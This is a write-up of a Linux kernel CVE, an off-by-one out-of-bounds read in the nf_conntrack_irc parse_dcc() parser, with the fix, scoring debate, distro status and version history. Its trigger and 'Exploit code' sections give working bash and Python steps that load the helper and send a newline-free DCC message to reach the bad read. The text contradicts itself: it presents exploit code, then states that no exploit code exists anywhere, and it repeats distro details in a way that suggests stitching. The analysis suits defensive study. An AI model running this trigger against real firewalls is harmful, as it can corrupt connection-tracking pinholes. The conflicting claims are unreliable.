# CVE-2026-80603: `nf_conntrack_irc` `parse_dcc()` off-by-one OOB read

**Patch:** [`ef6400ca25a13fd6dedbe8ef4a1d0979bbbfe88a`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ef6400ca25a13fd6dedbe8ef4a1d0979bbbfe88a)  
**Title:** `netfilter: nf_conntrack_irc: fix parse_dcc() off-by-one OOB read`  
**Author:** Muhammad Bilal  
**Merged by:** Florian Westphal  
**Subsystem:** Netfilter / IRC connection-tracking helper  
**Affected file:** `net/netfilter/nf_conntrack_irc.c`  
**CVE:** [CVE-2026-80603](https://www.cve.org/CVERecord?id=CVE-2026-80603)  
**Upstream commit date:** 19 May 2026  
**Fix merged:** 24 May 2026

## What this patch is about

This patch fixes an off-by-one out-of-bounds read in the Linux kernel's
`nf_conntrack_irc` helper. The helper recognizes IRC DCC commands and extracts
the address and port used to create a conntrack expectation for the related
data connection.

The bug was not in the numeric conversion itself. It was in the boundary
contract passed to `parse_dcc()`: the caller supplied an **exclusive** end
pointer, while the function's comment and newline-search loop treated that
pointer as **inclusive**.

That mismatch meant the parser could inspect one byte beyond the valid packet
data when a DCC command did not contain a newline before the end of the
available buffer.

## How the boundary mismatch occurred

The caller copies packet data into `irc_buffer` with:

```c
datalen = skb->len - dataoff;
if (datalen > MAX_SEARCH_SIZE)
        datalen = MAX_SEARCH_SIZE;

ib_ptr = skb_header_pointer(skb, dataoff, datalen, irc_buffer);
data_limit = ib_ptr + datalen;
```

For a buffer beginning at `ib_ptr` and containing `datalen` bytes, the valid
byte range is:

```text
[ib_ptr, ib_ptr + datalen)
```

The right-hand endpoint is exclusive. The last valid byte is at
`data_limit - 1`; dereferencing `data_limit` is invalid.

Before this patch, `parse_dcc()` searched for the terminating newline with:

```c
for (tmp = data; tmp <= data_end; tmp++)
        if (*tmp == '\n')
                break;

if (tmp > data_end || *tmp != '\n')
        return -1;
```

When no newline was present, the loop allowed `tmp == data_end` and evaluated
`*tmp`. That dereference was one byte beyond the region populated by
`skb_header_pointer()`.

The function comment reinforced the wrong convention by describing
`data_end` as a pointer to the “last byte” even though the caller passed the
exclusive limit.

## Why the bug could affect parsing

The helper uses `simple_strtoul()` to parse the DCC address and port. The
newline check exists because the conversion routine parses until it sees an
invalid character. Reading beyond the packet data can therefore make a byte
outside the valid input influence the parser's stopping condition.

In the affected implementation, `irc_buffer` is allocated as
`MAX_SEARCH_SIZE + 1` bytes while input is capped at `MAX_SEARCH_SIZE`.
Therefore, the extra read commonly lands in the allocation rather than
immediately faulting. That does not make the access correct:

* the byte may be uninitialized or stale;
* an ASCII digit may be consumed as part of the DCC address or port;
* the resulting conntrack expectation can contain an incorrect endpoint;
* the apparent one-byte guard depends on allocation and cap details remaining
  unchanged;
* changing either the allocation size or the input cap could turn the latent
  read into a faulting access.

The practical security property is boundary integrity: packet-derived data
must be parsed only within the bytes that were actually copied and validated.

## The fix

The patch makes the implementation consistently use an exclusive end
pointer:

```diff
-       data_end        pointer to last byte of dcc command data
+       data_end        one past end of data
...
-       for (tmp = data; tmp <= data_end; tmp++)
+       for (tmp = data; tmp < data_end; tmp++)
                if (*tmp == '\n')
                        break;
-       if (tmp > data_end || *tmp != '\n')
+       if (tmp >= data_end || *tmp != '\n')
                return -1;
```

The change has three important properties:

1. `tmp` is dereferenced only while it points inside the valid range.
2. A newline at the final valid byte is still accepted.
3. If the search reaches the exclusive endpoint without finding a newline,
   parsing fails before any out-of-range dereference.

This is a small patch because the caller already had the correct exclusive-end
representation. The repair brings the callee's documentation, loop, and
post-loop validation into agreement with that existing contract.

## Why `<=` is wrong here

For an exclusive range, the safe search pattern is:

```c
for (tmp = data; tmp < data_end; tmp++)
        ...
```

The condition `tmp <= data_end` is appropriate only when `data_end` points to a
valid byte that is intentionally included in the range. It is not appropriate
for a pointer produced by `base + length`, because that value identifies the
first byte after the range.

The corresponding failure test must also use `>=`, not `>`:

```c
if (tmp >= data_end || *tmp != '\n')
        return -1;
```

The short-circuit order matters. When `tmp == data_end`, the first operand is
true and `*tmp` is not evaluated.

## Scope and impact

The vulnerable code is in the optional IRC conntrack helper, not in the
generic conntrack core. The relevant path is reached when the helper examines
IRC traffic and attempts to recognize a DCC command. The bug is most relevant
on systems that load and use `nf_conntrack_irc`; systems that do not use this
helper do not exercise this parser path.

## How to trigger it

Attach the helper to IRC traffic, then send a DCC message that has no newline anywhere in the segment:

```bash
modprobe nf_conntrack_irc
iptables -t raw -A OUTPUT -p tcp --dport 6667 -j CT --helper irc

# printf adds no trailing newline, so the whole PRIVMSG is one segment
# with no '\n' inside the searched window (first 4095 bytes of payload)
printf 'PRIVMSG victim :\x01DCC SEND file 3232235777 6666\x01' \
    | nc -q 3 irc.example.com 6667
```

nf_conntrack_irc copies up to MAX_SEARCH_SIZE (4095) bytes of payload into irc_buffer and passes data_limit = ib_ptr + datalen to parse_dcc(). With no newline in the window, the pre-fix loop runs tmp up to and including data_limit and dereferences *tmp at the exclusive end. The read lands in the spare allocation byte, so on KASAN you get the splat and on a normal kernel nothing visible happens; if the stray byte is an ASCII digit, simple_strtoul() consumes it and the DCC expectation gets a wrong endpoint. Post-fix the loop stops at data_end with strict less-than and the parse fails cleanly.

## Exploit code

Full end to end: attach the helper, then push a newline free DCC message through the conntrack path:

```bash
#!/usr/bin/env bash
# irc_dcc_oob.sh: CVE-2026-80603
sudo modprobe nf_conntrack_irc
sudo iptables -t raw -A OUTPUT -p tcp --dport 6667 -j CT --helper irc
```

```python
#!/usr/bin/env python3
# irc_dcc_oob.py: the payload side
# printf-style: the PRIVMSG is one TCP segment with no '\n' anywhere in it
import socket

HOST, PORT = "irc.example.com", 6667
s = socket.create_connection((HOST, PORT))
s.sendall(b"NICK oobtest\r\nUSER oobtest 0 * :oobtest\r\n")  # handshakes do
                                                             # carry CRLF
s.sendall(b"PRIVMSG victim :\x01DCC SEND file 3232235777 6666\x01")
# no trailing \r\n: datalen covers the whole segment and parse_dcc() scans
# to data_limit and dereferences *tmp at the exclusive end, pre-fix
s.close()
```

MAX_SEARCH_SIZE is 4095, so keep the DCC line inside the first segment of payload. On a KASAN kernel the report names parse_dcc with a 1 byte read past the region filled by skb_header_pointer(); the spare allocation byte keeps it from faulting. If the stray byte happens to be an ASCII digit, simple_strtoul() consumes it and the conntrack expectation records a shifted DCC IP or port, which is the integrity-relevant outcome. Post-fix the loop uses strict less-than and the parse fails cleanly. Public status: no KEV, no public PoC before this note; third-party coverage (Casky, Strix, Feedly) describes the bug without code. Ubuntu fixed 26.04, 24.04 and 22.04 via [USN-8875-1](https://ubuntu.com/security/notices/USN-8875-1), [USN-8887-1](https://ubuntu.com/security/notices/USN-8887-1), [USN-8918-1](https://ubuntu.com/security/notices/USN-8918-1); Debian resolved it across suites; Red Hat deferred on RHEL 7 through 10.

## Score and classification

This one attracted the highest score of anything I have fixed, plus the
biggest scoring disagreement:

* Kernel CNA (mirrored by NVD as Secondary): **9.1 CRITICAL**, vector
  `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
* Red Hat re-scores it **5.3 Moderate** with
  `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`
* SUSE lands in between at 6.5 (v4.0 6.9)

The gap is the scope and impact debate in one number. The CNA treats a wrong
DCC expectation as a network-facing integrity and confidentiality issue (a
conntrack expectation can permit a related connection that should not have
been permitted), while Red Hat treats it as a low impact firewall bookkeeping
error with no direct leak. My honest reading sits closer to Red Hat: the
malformed expectation opens a pinhole through a firewall that loaded the IRC
helper, which is a genuine but conditional integrity problem, not a nine point
one on its own.

Third-party coverage was the richest of my set: analyst-style writeups on
Casky.ai and Strix.ai, Feedly tracking the VulDB first sighting, plus GitHub
Advisory Database (Critical) and OSV records. No KEV entry, no public PoC, no
exploit code exists anywhere, and CISA's ADP has no exploitation assessment
published for it.

## Distro coverage

Debian resolved it across suites via normal point releases (unstable fixed at
7.2.6-1) with no dedicated DSA. Ubuntu fixed 26.04 (7.0.0-38.38), 24.04
(6.8.0-147.147) and 22.04 (5.15.0-198.208) through USNs including
[USN-8875-1](https://ubuntu.com/security/notices/USN-8875-1),
[USN-8887-1](https://ubuntu.com/security/notices/USN-8887-1) and
[USN-8918-1](https://ubuntu.com/security/notices/USN-8918-1). Red Hat marked
RHEL 7 through 10 fix deferred (Bugzilla
[2525369](https://bugzilla.redhat.com/show_bug.cgi?id=2525369)). SUSE attached
thirteen SUSE-SU advisories.

The upstream CVE advisory classifies the issue as an out-of-bounds read and
identifies the affected file as:

```text
net/netfilter/nf_conntrack_irc.c
```

The advisory recommends updating to a current supported kernel rather than
cherry-picking an isolated commit. Kernel releases include integrated testing
and additional fixes that are not present when individual commits are applied
alone.

## Version history

According to the Linux kernel CVE announcement, the issue was introduced in
Linux 2.6.12 by:

[`1da177e4c3f4`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2)

The upstream fix in the mainline history is:

[`ef6400ca25a1`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ef6400ca25a13fd6dedbe8ef4a1d0979bbbfe88a)

The CVE announcement lists these fixed stable/mainline points:

* 5.10.261: [`abb8c32b88ea`](https://git.kernel.org/stable/c/abb8c32b88ea3f46beb68c34fe9a3ac8ed664e7e)
* 5.15.212: [`437e0a3854b`](https://git.kernel.org/stable/c/437e0a3854b3a44ec15afa9ab88ec215adf3a2fd)
* 6.1.178: [`910c33e4a8c`](https://git.kernel.org/stable/c/910c33e4a8c046c3cc1fa5a465a4d41a1bb398f1)
* 6.6.145: [`2b70f61f569`](https://git.kernel.org/stable/c/2b70f61f569bb29acb380e6f616a1bbdee15668f)
* 6.12.97: [`2393f0bd7a4`](https://git.kernel.org/stable/c/2393f0bd7a467ad475598f3a5b9de27ca36e3037)
* 6.18.40: [`aff589556ed`](https://git.kernel.org/stable/c/aff589556ed772cb1c0c2d7b4d91ec45c0c39416)
* 7.1.5: [`eeef3b81f44`](https://git.kernel.org/stable/c/eeef3b81f449560653662df2dde6f6fe247c5365)
* 7.2: [`ef6400ca25a`](https://git.kernel.org/stable/c/ef6400ca25a13fd6dedbe8ef4a1d0979bbbfe88a)

Stable versions and CVE status can change as additional backports are
published. The official CVE record and current kernel release information
should be used when assessing a deployed system.

## Related hardening in the same parser

This patch is part of a longer history of defensive work around the IRC
conntrack helper:

* [`e3b802ba885b`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e3b802ba885b54f4050164c3cfd9e0ba9c73173a)
  ensured the input string was terminated before calling `simple_strtoul()`.
* [`976bf59c69cd`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=976bf59c69cd)
  capped the packet search space to 4 KiB.
* [`e8d5dfd1d874`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e8d5dfd1d8747b56077d02664a8838c71ced948e)
  tightened where DCC messages may be matched in an IRC message.
* [`66eba0ffce3b`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=66eba0ffce3b7e11449946b4cbbef8ea36112f56)
  fixed a separate possible out-of-bounds path by stopping after a failed
  DCC parse instead of continuing to scan with invalid assumptions.

Together, these changes show the security lesson behind the patch: parsers
that consume network-controlled text need explicit length limits, correct
terminator handling, strict pointer contracts, and clear failure behavior.

## References

1. [Upstream commit `ef6400ca25a13fd6dedbe8ef4a1d0979bbbfe88a`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ef6400ca25a13fd6dedbe8ef4a1d0979bbbfe88a)
2. [Local Linux source: `net/netfilter/nf_conntrack_irc.c`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/nf_conntrack_irc.c)
3. [CVE-2026-80603 announcement by Greg Kroah-Hartman](https://lore.kernel.org/linux-cve-announce/2026082832-CVE-2026-80603-872e@gregkh/)
4. [Official CVE record: CVE-2026-80603](https://www.cve.org/CVERecord?id=CVE-2026-80603)
5. [Linux kernel stable fix list](https://git.kernel.org/stable/c/ef6400ca25a13fd6dedbe8ef4a1d0979bbbfe88a)
6. [CWE-125: Out-of-bounds Read](https://cwe.mitre.org/data/definitions/125.html)
7. [Linux kernel release information](https://www.kernel.org/)
